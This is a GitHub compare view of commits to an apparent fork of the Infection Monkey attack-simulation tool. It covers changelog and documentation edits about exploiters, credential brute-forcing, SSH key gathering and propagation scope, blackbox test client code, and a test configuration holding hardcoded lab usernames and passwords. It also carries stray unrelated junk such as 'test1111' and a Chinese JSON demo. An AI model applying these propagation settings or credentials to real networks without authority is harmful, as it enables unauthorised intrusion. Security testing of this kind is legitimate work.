Compare commits

..

20 Commits

Author SHA1 Message Date
Kekoa Kaaikala 9d37a38994 Agent: Fix FingerprintData mypy issues 2022-09-21 20:38:19 +00:00
Kekoa Kaaikala e40d061091 Agent: Fix PortScanData mypy issues 2022-09-21 20:30:41 +00:00
Kekoa Kaaikala d4f6c83f56 Agent: Fix VictimHost mypy issues 2022-09-21 20:19:20 +00:00
Kekoa Kaaikala d440d51f53 Island: Fix mypy issues in segmentation.py 2022-09-21 18:29:34 +00:00
Kekoa Kaaikala 218b341006 Island: Fix mypy issues in networkmap.py 2022-09-21 18:28:58 +00:00
Kekoa Kaaikala 24848e62df Island: Fix mypy issues in version.py 2022-09-21 18:28:17 +00:00
Kekoa Kaaikala a9e101fd04 Island: Fix mypy issues in T1065.py 2022-09-21 18:25:38 +00:00
Kekoa Kaaikala 1a6f48614e Island: Fix mypy issues in mongo_db_process.py 2022-09-21 18:24:47 +00:00
Kekoa Kaaikala a5b5449f73 Island: Fix mypy issues in finding_service.py 2022-09-21 18:23:33 +00:00
Kekoa Kaaikala 7013963d59 Island: Fix mypy issues in cred_exploit.py 2022-09-21 18:22:20 +00:00
Kekoa Kaaikala ed5773878e Island: Fix mypy issues in ransomware_report.py 2022-09-21 18:21:42 +00:00
Kekoa Kaaikala c870fde3cc Island: Fix mypy issues in exploit.py 2022-09-21 18:21:03 +00:00
Kekoa Kaaikala e595a70019 Island: Fix mypy issues for encryptors 2022-09-21 18:19:58 +00:00
Kekoa Kaaikala e8aa231f92 Island: Fix mypy issues in AbstractResource.py 2022-09-21 18:09:18 +00:00
Kekoa Kaaikala c0b2981150 Island: Fix mypy issues in i_log_repository.py 2022-09-21 18:08:25 +00:00
Kekoa Kaaikala 7801a98a15 Island: Fix mypy issues in server_setup.py 2022-09-21 18:06:53 +00:00
Kekoa Kaaikala 6209ec47cd Island: Fix mypy issues in app.py 2022-09-21 18:06:19 +00:00
Kekoa Kaaikala 795d9fe201 Agent: Fix mypy issues in ransomware_options.py 2022-09-21 17:58:41 +00:00
Kekoa Kaaikala ea67c07d70 Agent: Fix mypy issues in pba.py 2022-09-21 17:57:44 +00:00
Kekoa Kaaikala 70c74b87a9 Agent: Fix mypy issues in capture_output.py 2022-09-21 17:55:41 +00:00
271 changed files with 2326 additions and 6380 deletions

View File

@ -23,10 +23,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- `/api/agent-events` endpoint. #2155, #2300 - `/api/agent-events` endpoint. #2155, #2300
- The ability to customize the file extension used by ransomware when - The ability to customize the file extension used by ransomware when
encrypting files. #1242 encrypting files. #1242
- `/api/agents` endpoint. #2362 - `/api/agents` endpoint.
- `/api/agent-signals` endpoint. #2261
- `/api/agent-logs/<uuid:agent_id>` endpoint. #2274
- `/api/machines` endpoint. #2362
### Changed ### Changed
- Reset workflow. Now it's possible to delete data gathered by agents without - Reset workflow. Now it's possible to delete data gathered by agents without
@ -67,8 +64,6 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- Tunneling to relays to provide better firewall evasion, faster Island - Tunneling to relays to provide better firewall evasion, faster Island
connection times, unlimited hops, and a more resilient way for agents to call connection times, unlimited hops, and a more resilient way for agents to call
home. #2216, #1583 home. #2216, #1583
- "/api/monkey-control/stop-all-agents" to "/api/agent-signals/terminate-all-agents". #2261
- "Local network scan" option to "Scan Agent's networks". #2299
### Removed ### Removed
- VSFTPD exploiter. #1533 - VSFTPD exploiter. #1533
@ -114,9 +109,6 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- "/api/configuration/export" endpoint. #2002 - "/api/configuration/export" endpoint. #2002
- "/api/island-configuration" endpoint. #2003 - "/api/island-configuration" endpoint. #2003
- "-t/--tunnel" from agent command line arguments. #2216 - "-t/--tunnel" from agent command line arguments. #2216
- "/api/monkey-control/neets-to-stop". #2261
- "GET /api/test/monkey" endpoint. #2269
- "GET /api/test/log" endpoint. #2269
### Fixed ### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545 - A bug in network map page that caused delay of telemetry log loading. #1545

View File

@ -29,7 +29,7 @@ Monkey on our [website](https://www.akamai.com/infectionmonkey).
For more information, or to apply, see the official job post: For more information, or to apply, see the official job post:
- [Israel](https://akamaicareers.inflightcloud.com/jobdetails/aka_ext/028224?section=aka_ext&job=028224) - [Israel](https://akamaicareers.inflightcloud.com/jobdetails/aka_ext/028224?section=aka_ext&job=028224)
test1111
## Screenshots ## Screenshots

View File

@ -1,13 +0,0 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

View File

@ -1 +0,0 @@
是分为氛围

View File

@ -1 +0,0 @@
123456

View File

@ -8,7 +8,5 @@ description: "Configure settings related to the Monkey's network activity."
Here you can control multiple important settings, such as: Here you can control multiple important settings, such as:
* Network propagation depth - How many hops from the base machine will the Infection Monkey spread? * Network propagation depth - How many hops from the base machine will the Infection Monkey spread?
* Scan Agent's networks - Should the Infection Monkey attempt to attack any machine in its subnet? * Local network scan - Should the Infection Monkey attempt to attack any machine in its subnet?
_Be careful when using this option. If a machine is connected to a public network, then the agent will scan the public network!_
* Scanner IP/subnet list - Which specific IP ranges should the Infection Monkey should try to attack? * Scanner IP/subnet list - Which specific IP ranges should the Infection Monkey should try to attack?

View File

@ -16,9 +16,9 @@ where bad actors can reuse these credentials in your network.
## Configuration ## Configuration
- **Propagation -> Credentials** After setting up the Monkey Island, add your users' **real** credentials - **Exploits -> Credentials** After setting up the Monkey Island, add your users' **real** credentials
(usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island. (usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island.
- **Propagation -> Credentials -> SSH key pairs list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system. - **Internal -> Exploits -> SSH keypair list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system.
For this to work, the Monkey Island or initial agent needs to access SSH key files. For this to work, the Monkey Island or initial agent needs to access SSH key files.
To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey
(content of keys will not be displayed, it will appear as `<Object>`). (content of keys will not be displayed, it will appear as `<Object>`).

View File

@ -15,14 +15,17 @@ Infection Monkey will help you assess the impact of a future breach by attemptin
## Configuration ## Configuration
- **Propagation -> Exploiters** Here you can review the exploits the Infection Monkey will be using. By default all - **Exploits -> Exploits** Here you can review the exploits the Infection Monkey will be using. By default all
safe exploiters are selected. safe exploiters are selected.
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. - **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Propagation -> Network analysis -> Network** Make sure to properly configure the scope of the scan. You can select **Scan Agent's networks** - **Network -> Scope** Make sure to properly configure the scope of the scan. You can select **Local network scan**
and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing
specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific
targets will make the scanning process substantially faster. targets will make the scanning process substantially faster.
- **(Optional) Propagation -> Network Analysis -> TCP scanner** Here you can add custom ports your organization is using. - **(Optional) Internal -> Network -> TCP scanner** Here you can add custom ports your organization is using.
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test propagation in the network, you can turn off
all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system but in no
way helps the Infection Monkey exploit new machines.
![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector") ![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector")

View File

@ -17,10 +17,11 @@ You can use the Infection Monkey's cross-segment traffic feature to verify that
## Configuration ## Configuration
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define - **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it
in the security report. in the security report.
- **(Optional) Propagation -> Network analysis -> Network** You can disable **Scan Agent's networks** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement. - **(Optional) Network -> Scope** You can disable **Local network scan** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement.
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test segmentation in the network, you can turn off all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system, so they might trigger your defense solutions and interrupt the segmentation test.
## Suggested run mode ## Suggested run mode

View File

@ -9,26 +9,37 @@ weight: 100
## Overview ## Overview
This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios. This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios.
## Custom behavior
If you want the Infection Monkey to run a specific script or tool after it breaches a machine, you can configure it in
**Configuration -> Monkey -> Post-breach**. Input commands you want to execute in the corresponding fields.
You can also upload files and call them through the commands you entered.
## Accelerate the test ## Accelerate the test
To improve scanning speed you could **specify a subnet instead of scanning all of the local network**. To improve scanning speed you could **specify a subnet instead of scanning all of the local network**.
The following configuration values also have an impact on scanning speed: The following configuration values also have an impact on scanning speed:
- **Propagation -> Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have - **Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have
remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools. remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools.
- **Propagation -> Network analysis -> Network** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your - **Network scope** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
networks bit by bit with multiple runs. networks bit by bit with multiple runs.
- **Propagation -> Network analysis -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance. - **Post-breach actions** - If you only care about propagation, you can disable most of these.
- **Internal -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance.
## Combining different scenarios ## Combining different scenarios
The Infection Monkey is not limited to the scenarios mentioned in this section. Once you get the hang of configuring it, you might come up with your own use case or test all of the suggested scenarios at the same time! Whatever you do, the Infection Monkey's Security, ATT&CK and Zero Trust reports will be waiting for you with your results! The Infection Monkey is not limited to the scenarios mentioned in this section. Once you get the hang of configuring it, you might come up with your own use case or test all of the suggested scenarios at the same time! Whatever you do, the Infection Monkey's Security, ATT&CK and Zero Trust reports will be waiting for you with your results!
## Persistent scanning
Use **Monkey -> Persistent** scanning configuration section to either run periodic scans or increase the reliability of exploitations by running consecutive scans with the Infection Monkey.
## Credentials ## Credentials
Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded. Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded.
To add the old passwords, go to the Monkey Island's **Exploit password list** under **Propagation -> Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration: To add the old passwords, go to the Monkey Island's **Exploit password list** under **Basic - Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists") ![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")

View File

@ -13,9 +13,9 @@ Want to assess your progress in achieving a Zero Trust network? The Infection Mo
## Configuration ## Configuration
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. - **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Propagation -> Network analysis -> Network** Disable “Scan Agent's networks” and instead provide specific network ranges in the “Scan target list.” - **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list.”
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define - **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
subnets that should be segregated from each other. subnets that should be segregated from each other.
In general, other configuration value defaults should be good enough, but feel free to see the “Other” section for tips and tricks about more features and in-depth configuration parameters you can use. In general, other configuration value defaults should be good enough, but feel free to see the “Other” section for tips and tricks about more features and in-depth configuration parameters you can use.

View File

@ -1,5 +1,4 @@
from ipaddress import IPv4Address from typing import Iterable
from typing import Collection, Iterable
from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer
from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
@ -14,22 +13,15 @@ class CommunicationAnalyzer(Analyzer):
def analyze_test_results(self): def analyze_test_results(self):
self.log.clear() self.log.clear()
all_agents_communicated = True all_monkeys_communicated = True
agent_ips = self._get_agent_ips()
for machine_ip in self.machine_ips: for machine_ip in self.machine_ips:
if self._agent_communicated_back(machine_ip, agent_ips): if not self.did_monkey_communicate_back(machine_ip):
self.log.add_entry("Agent from {} communicated back".format(machine_ip)) self.log.add_entry("Monkey from {} didn't communicate back".format(machine_ip))
all_monkeys_communicated = False
else: else:
self.log.add_entry("Agent from {} didn't communicate back".format(machine_ip)) self.log.add_entry("Monkey from {} communicated back".format(machine_ip))
all_agents_communicated = False return all_monkeys_communicated
return all_agents_communicated def did_monkey_communicate_back(self, machine_ip: str):
query = {"ip_addresses": {"$elemMatch": {"$eq": machine_ip}}}
def _get_agent_ips(self) -> Collection[IPv4Address]: return len(self.island_client.find_monkeys_in_db(query)) > 0
agents = self.island_client.get_agents()
machines = self.island_client.get_machines()
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}
def _agent_communicated_back(self, machine_ip: str, agent_ips: Collection[IPv4Address]) -> bool:
return IPv4Address(machine_ip) in agent_ips

View File

@ -18,6 +18,12 @@ def pytest_addoption(parser):
default=False, default=False,
help="Use for no interaction with the cloud.", help="Use for no interaction with the cloud.",
) )
parser.addoption(
"--skip-powershell-reuse",
action="store_true",
default=False,
help="Use to run PowerShell credentials reuse test.",
)
@pytest.fixture(scope="session") @pytest.fixture(scope="session")
@ -42,3 +48,13 @@ def gcp_machines_to_start(request: pytest.FixtureRequest) -> Mapping[str, Collec
machines_to_start.setdefault(zone, set()).update(machines) machines_to_start.setdefault(zone, set()).update(machines)
return machines_to_start return machines_to_start
def pytest_runtest_setup(item):
if "skip_powershell_reuse" in item.keywords and item.config.getoption(
"--skip-powershell-reuse"
):
pytest.skip(
"Skipping powershell credentials reuse test because "
"--skip-powershell-cached flag isn't specified."
)

View File

@ -15,14 +15,10 @@ GCP_TEST_MACHINE_LIST = {
"zerologon-25", "zerologon-25",
], ],
"europe-west1-b": [ "europe-west1-b": [
"powershell-3-44",
"powershell-3-45", "powershell-3-45",
"powershell-3-46", "powershell-3-46",
"powershell-3-47", "powershell-3-47",
"powershell-3-48", "powershell-3-48",
"credentials-reuse-14",
"credentials-reuse-15",
"credentials-reuse-16",
"log4j-logstash-55", "log4j-logstash-55",
"log4j-logstash-56", "log4j-logstash-56",
"log4j-solr-49", "log4j-solr-49",
@ -36,11 +32,7 @@ DEPTH_2_A = {
"europe-west3-a": [ "europe-west3-a": [
"sshkeys-11", "sshkeys-11",
"sshkeys-12", "sshkeys-12",
], ]
"europe-west1-b": [
"powershell-3-46",
"powershell-3-44",
],
} }
@ -65,6 +57,7 @@ DEPTH_3_A = {
], ],
"europe-west1-b": [ "europe-west1-b": [
"powershell-3-45", "powershell-3-45",
"powershell-3-46",
"powershell-3-47", "powershell-3-47",
"powershell-3-48", "powershell-3-48",
], ],
@ -79,20 +72,19 @@ DEPTH_4_A = {
], ],
} }
POWERSHELL_EXPLOITER_REUSE = {
"europe-west1-b": [
"powershell-3-46",
]
}
ZEROLOGON = { ZEROLOGON = {
"europe-west3-a": [ "europe-west3-a": [
"zerologon-25", "zerologon-25",
], ],
} }
CREDENTIALS_REUSE_SSH_KEY = {
"europe-west1-b": [
"credentials-reuse-14",
"credentials-reuse-15",
"credentials-reuse-16",
],
}
WMI_AND_MIMIKATZ = { WMI_AND_MIMIKATZ = {
"europe-west3-a": [ "europe-west3-a": [
"mimikatz-14", "mimikatz-14",
@ -107,8 +99,8 @@ GCP_SINGLE_TEST_LIST = {
"test_depth_1_a": DEPTH_1_A, "test_depth_1_a": DEPTH_1_A,
"test_depth_3_a": DEPTH_3_A, "test_depth_3_a": DEPTH_3_A,
"test_depth_4_a": DEPTH_4_A, "test_depth_4_a": DEPTH_4_A,
"test_powershell_exploiter_credentials_reuse": POWERSHELL_EXPLOITER_REUSE,
"test_zerologon_exploiter": ZEROLOGON, "test_zerologon_exploiter": ZEROLOGON,
"test_credentials_reuse_ssh_key": CREDENTIALS_REUSE_SSH_KEY,
"test_wmi_and_mimikatz_exploiters": WMI_AND_MIMIKATZ, "test_wmi_and_mimikatz_exploiters": WMI_AND_MIMIKATZ,
"test_smb_pth": SMB_PTH, "test_smb_pth": SMB_PTH,
} }

View File

@ -1,21 +1,18 @@
import json import json
import logging import logging
import time import time
from typing import List, Mapping, Sequence, Union from typing import List, Sequence, Union
from bson import json_util from bson import json_util
from common.credentials import Credentials from common.credentials import Credentials
from common.types import AgentID, MachineID
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
from envs.monkey_zoo.blackbox.test_configurations.test_configuration import TestConfiguration from envs.monkey_zoo.blackbox.test_configurations.test_configuration import TestConfiguration
from monkey_island.cc.models import Agent, Machine
SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5 SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
GET_AGENTS_ENDPOINT = "api/agents" MONKEY_TEST_ENDPOINT = "api/test/monkey"
GET_LOG_ENDPOINT = "api/agent-logs"
GET_MACHINES_ENDPOINT = "api/machines"
TELEMETRY_TEST_ENDPOINT = "api/test/telemetry" TELEMETRY_TEST_ENDPOINT = "api/test/telemetry"
LOG_TEST_ENDPOINT = "api/test/log"
LOGGER = logging.getLogger(__name__) LOGGER = logging.getLogger(__name__)
@ -91,9 +88,8 @@ class MonkeyIslandClient(object):
@avoid_race_condition @avoid_race_condition
def kill_all_monkeys(self): def kill_all_monkeys(self):
# TODO change this request, because monkey-control resource got removed
response = self.requests.post_json( response = self.requests.post_json(
"api/agent-signals/terminate-all-agents", json={"terminate_time": time.time()} "api/monkey-control/stop-all-agents", json={"kill_time": time.time()}
) )
if response.ok: if response.ok:
LOGGER.info("Killing all monkeys after the test.") LOGGER.info("Killing all monkeys after the test.")
@ -138,6 +134,14 @@ class MonkeyIslandClient(object):
LOGGER.error("Failed to reset island mode") LOGGER.error("Failed to reset island mode")
assert False assert False
def find_monkeys_in_db(self, query):
if query is None:
raise TypeError
response = self.requests.get(
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
)
return MonkeyIslandClient.get_test_query_results(response)
def find_telems_in_db(self, query: dict): def find_telems_in_db(self, query: dict):
if query is None: if query is None:
raise TypeError raise TypeError
@ -146,21 +150,17 @@ class MonkeyIslandClient(object):
) )
return MonkeyIslandClient.get_test_query_results(response) return MonkeyIslandClient.get_test_query_results(response)
def get_agents(self) -> Sequence[Agent]: def get_all_monkeys_from_db(self):
response = self.requests.get(GET_AGENTS_ENDPOINT) response = self.requests.get(
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)
)
return MonkeyIslandClient.get_test_query_results(response)
return [Agent(**a) for a in response.json()] def find_log_in_db(self, query):
response = self.requests.get(
def get_machines(self) -> Mapping[MachineID, Machine]: LOG_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
response = self.requests.get(GET_MACHINES_ENDPOINT) )
machines = (Machine(**m) for m in response.json()) return MonkeyIslandClient.get_test_query_results(response)
return {m.id: m for m in machines}
def get_agent_log(self, agent_id: AgentID) -> str:
response = self.requests.get(f"{GET_LOG_ENDPOINT}/{agent_id}")
return response.json()
@staticmethod @staticmethod
def form_find_query_for_request(query: Union[dict, None]) -> dict: def form_find_query_for_request(query: Union[dict, None]) -> dict:
@ -171,5 +171,5 @@ class MonkeyIslandClient(object):
return json.loads(response.content)["results"] return json.loads(response.content)["results"]
def is_all_monkeys_dead(self): def is_all_monkeys_dead(self):
agents = self.get_agents() query = {"dead": False}
return all((a.stop_time is not None for a in agents)) return len(self.find_monkeys_in_db(query)) == 0

View File

@ -0,0 +1,38 @@
import logging
import os
from bson import ObjectId
LOGGER = logging.getLogger(__name__)
class MonkeyLog(object):
def __init__(self, monkey, log_dir_path):
self.monkey = monkey
self.log_dir_path = log_dir_path
def download_log(self, island_client):
log = island_client.find_log_in_db({"monkey_id": ObjectId(self.monkey["_id"])})
if not log:
LOGGER.error("Log for monkey {} not found".format(self.monkey["ip_addresses"][0]))
return False
else:
self.write_log_to_file(log)
return True
def write_log_to_file(self, log):
with open(self.get_log_path_for_monkey(self.monkey), "w") as log_file:
log_file.write(MonkeyLog.parse_log(log))
@staticmethod
def parse_log(log):
log = log.strip('"')
log = log.replace("\\n", "\n ")
return log
@staticmethod
def get_filename_for_monkey_log(monkey):
return "{}.txt".format(monkey["ip_addresses"][0])
def get_log_path_for_monkey(self, monkey):
return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey))

View File

@ -1,65 +1,25 @@
import logging import logging
from pathlib import Path
from threading import Thread
from typing import List, Mapping
from common.types import MachineID from envs.monkey_zoo.blackbox.log_handlers.monkey_log import MonkeyLog
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
from monkey_island.cc.models import Agent, Machine
LOGGER = logging.getLogger(__name__) LOGGER = logging.getLogger(__name__)
class MonkeyLogsDownloader(object): class MonkeyLogsDownloader(object):
def __init__(self, island_client: MonkeyIslandClient, log_dir_path: str): def __init__(self, island_client, log_dir_path):
self.island_client = island_client self.island_client = island_client
self.log_dir_path = Path(log_dir_path) self.log_dir_path = log_dir_path
self.monkey_log_paths: List[Path] = [] self.monkey_log_paths = []
def download_monkey_logs(self): def download_monkey_logs(self):
try:
LOGGER.info("Downloading each monkey log.") LOGGER.info("Downloading each monkey log.")
all_monkeys = self.island_client.get_all_monkeys_from_db()
for monkey in all_monkeys:
downloaded_log_path = self._download_monkey_log(monkey)
if downloaded_log_path:
self.monkey_log_paths.append(downloaded_log_path)
agents = self.island_client.get_agents() def _download_monkey_log(self, monkey):
machines = self.island_client.get_machines() log_handler = MonkeyLog(monkey, self.log_dir_path)
download_successful = log_handler.download_log(self.island_client)
download_threads: List[Thread] = [] return log_handler.get_log_path_for_monkey(monkey) if download_successful else None
# TODO: Does downloading logs concurrently still improve performance after resolving
# https://github.com/guardicore/monkey/issues/2383?
for agent in agents:
t = Thread(target=self._download_log, args=(agent, machines), daemon=True)
t.start()
download_threads.append(t)
for thread in download_threads:
thread.join()
except Exception as err:
LOGGER.exception(err)
def _download_log(self, agent: Agent, machines: Mapping[MachineID, Machine]):
log_file_path = self._get_log_file_path(agent, machines)
log_contents = self.island_client.get_agent_log(agent.id)
MonkeyLogsDownloader._write_log_to_file(log_file_path, log_contents)
self.monkey_log_paths.append(log_file_path)
def _get_log_file_path(self, agent: Agent, machines: Mapping[MachineID, Machine]) -> Path:
try:
machine_ip = machines[agent.machine_id].network_interfaces[0].ip
except IndexError:
LOGGER.error(f"Machine with ID {agent.machine_id} has no network interfaces")
machine_ip = "UNKNOWN"
start_time = agent.start_time.strftime("%Y-%m-%d_%H-%M-%S")
return self.log_dir_path / f"agent_{start_time}_{machine_ip}.log"
@staticmethod
def _write_log_to_file(log_file_path: Path, log_contents: str):
LOGGER.debug(f"Writing {len(log_contents)} bytes to {log_file_path}")
with open(log_file_path, "w") as f:
f.write(log_contents)

View File

@ -10,11 +10,11 @@ from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIs
from envs.monkey_zoo.blackbox.island_client.test_configuration_parser import get_target_ips from envs.monkey_zoo.blackbox.island_client.test_configuration_parser import get_target_ips
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
from envs.monkey_zoo.blackbox.test_configurations import ( from envs.monkey_zoo.blackbox.test_configurations import (
credentials_reuse_ssh_key_test_configuration,
depth_1_a_test_configuration, depth_1_a_test_configuration,
depth_2_a_test_configuration, depth_2_a_test_configuration,
depth_3_a_test_configuration, depth_3_a_test_configuration,
depth_4_a_test_configuration, depth_4_a_test_configuration,
powershell_credentials_reuse_test_configuration,
smb_pth_test_configuration, smb_pth_test_configuration,
wmi_mimikatz_test_configuration, wmi_mimikatz_test_configuration,
zerologon_test_configuration, zerologon_test_configuration,
@ -129,6 +129,15 @@ class TestMonkeyBlackbox:
island_client, depth_4_a_test_configuration, "Depth4A test suite" island_client, depth_4_a_test_configuration, "Depth4A test suite"
) )
# Not grouped because can only be ran on windows
@pytest.mark.skip_powershell_reuse
def test_powershell_exploiter_credentials_reuse(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client,
powershell_credentials_reuse_test_configuration,
"PowerShell_Remoting_exploiter_credentials_reuse",
)
# Not grouped because it's slow # Not grouped because it's slow
def test_zerologon_exploiter(self, island_client): def test_zerologon_exploiter(self, island_client):
test_name = "Zerologon_exploiter" test_name = "Zerologon_exploiter"
@ -154,11 +163,6 @@ class TestMonkeyBlackbox:
log_handler=log_handler, log_handler=log_handler,
).run() ).run()
def test_credentials_reuse_ssh_key(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client, credentials_reuse_ssh_key_test_configuration, "Credentials_Reuse_SSH_Key"
)
# Not grouped because conflicts with SMB. # Not grouped because conflicts with SMB.
# Consider grouping when more depth 1 exploiters collide with group depth_1_a # Consider grouping when more depth 1 exploiters collide with group depth_1_a
def test_wmi_and_mimikatz_exploiters(self, island_client): def test_wmi_and_mimikatz_exploiters(self, island_client):

View File

@ -3,7 +3,7 @@ from .depth_1_a import depth_1_a_test_configuration
from .depth_2_a import depth_2_a_test_configuration from .depth_2_a import depth_2_a_test_configuration
from .depth_3_a import depth_3_a_test_configuration from .depth_3_a import depth_3_a_test_configuration
from .depth_4_a import depth_4_a_test_configuration from .depth_4_a import depth_4_a_test_configuration
from .powershell_credentials_reuse import powershell_credentials_reuse_test_configuration
from .smb_pth import smb_pth_test_configuration from .smb_pth import smb_pth_test_configuration
from .wmi_mimikatz import wmi_mimikatz_test_configuration from .wmi_mimikatz import wmi_mimikatz_test_configuration
from .zerologon import zerologon_test_configuration from .zerologon import zerologon_test_configuration
from .credentials_reuse_ssh_key import credentials_reuse_ssh_key_test_configuration

View File

@ -1,71 +0,0 @@
import dataclasses
from common.agent_configuration import AgentConfiguration, PluginConfiguration
from common.credentials import Credentials, Password, Username
from .noop import noop_test_configuration
from .utils import (
add_credential_collectors,
add_exploiters,
add_subnets,
add_tcp_ports,
replace_agent_configuration,
replace_propagation_credentials,
set_keep_tunnel_open_time,
set_maximum_depth,
)
# Tests:
# SSHCollector steals key from machine A(10.2.3.14),
# then B(10.2.4.15) exploits C(10.2.5.16) with that key
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [
PluginConfiguration(name="SSHExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = ["10.2.3.14", "10.2.4.15", "10.2.5.16"]
return add_subnets(agent_configuration, subnets)
def _add_credential_collectors(agent_configuration: AgentConfiguration) -> AgentConfiguration:
credential_collectors = [
PluginConfiguration(name="SSHCollector", options={}),
]
return add_credential_collectors(
agent_configuration, credential_collectors=credential_collectors
)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [22]
return add_tcp_ports(agent_configuration, ports)
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 3)
test_agent_configuration = set_keep_tunnel_open_time(test_agent_configuration, 20)
test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_credential_collectors(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
CREDENTIALS = (
Credentials(identity=Username(username="m0nk3y"), secret=None),
Credentials(identity=None, secret=Password(password="u26gbVQe")),
Credentials(identity=None, secret=Password(password="5BuYHeVl")),
)
credentials_reuse_ssh_key_test_configuration = dataclasses.replace(noop_test_configuration)
replace_agent_configuration(
test_configuration=credentials_reuse_ssh_key_test_configuration,
agent_configuration=test_agent_configuration,
)
replace_propagation_credentials(
test_configuration=credentials_reuse_ssh_key_test_configuration,
